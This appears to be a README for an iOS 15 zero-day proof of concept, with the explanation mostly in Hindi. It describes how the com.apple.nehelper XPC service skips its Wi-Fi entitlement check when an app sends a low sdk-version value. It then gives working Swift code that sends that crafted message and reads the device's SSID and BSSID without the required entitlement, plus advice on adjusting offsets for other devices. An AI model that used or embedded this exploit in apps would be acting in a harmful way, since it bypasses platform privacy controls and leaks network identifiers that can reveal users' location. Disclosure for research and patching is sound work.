
iOS 15 0-day exploit (still works in 15.0.2)
मैंने इस कोड को अपडेट किया है ताकि Private API का सीधे उपयोग करने से बचा जा सके। मेरे ब्लॉग पोस्ट में और पढ़ें। हालाँकि, इसका मतलब है कि अब यह कोड iOS संस्करण-विशिष्ट और संभवतः डिवाइस मॉडल-विशिष्ट है। इसलिए यदि यह आपके डिवाइस पर काम नहीं करता है, तो c.c फ़ाइल में ऑफ़सेट की पुनर्गणना करें और उन्हें अपडेट करें। मूल कोड direct शाखा में पाया जा सकता है।
XPC एंडपॉइंट com.apple.nehelper उपयोगकर्ता-आपूर्ति पैरामीटर sdk-version स्वीकार करता है, और यदि इसका मान 524288 से कम या उसके बराबर है, तो com.apple.developer.networking.wifi-info एनटाइटलमेंट जाँच को छोड़ दिया जाता है।
यह किसी भी योग्य ऐप (जैसे स्थान एक्सेस प्राधिकरण रखने वाले) के लिए आवश्यक एनटाइटलमेंट के बिना Wifi जानकारी तक पहुँच प्राप्त करना संभव बनाता है।
ऐसा /usr/libexec/nehelper में -[NEHelperWiFiInfoManager checkIfEntitled:] में होता है।
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}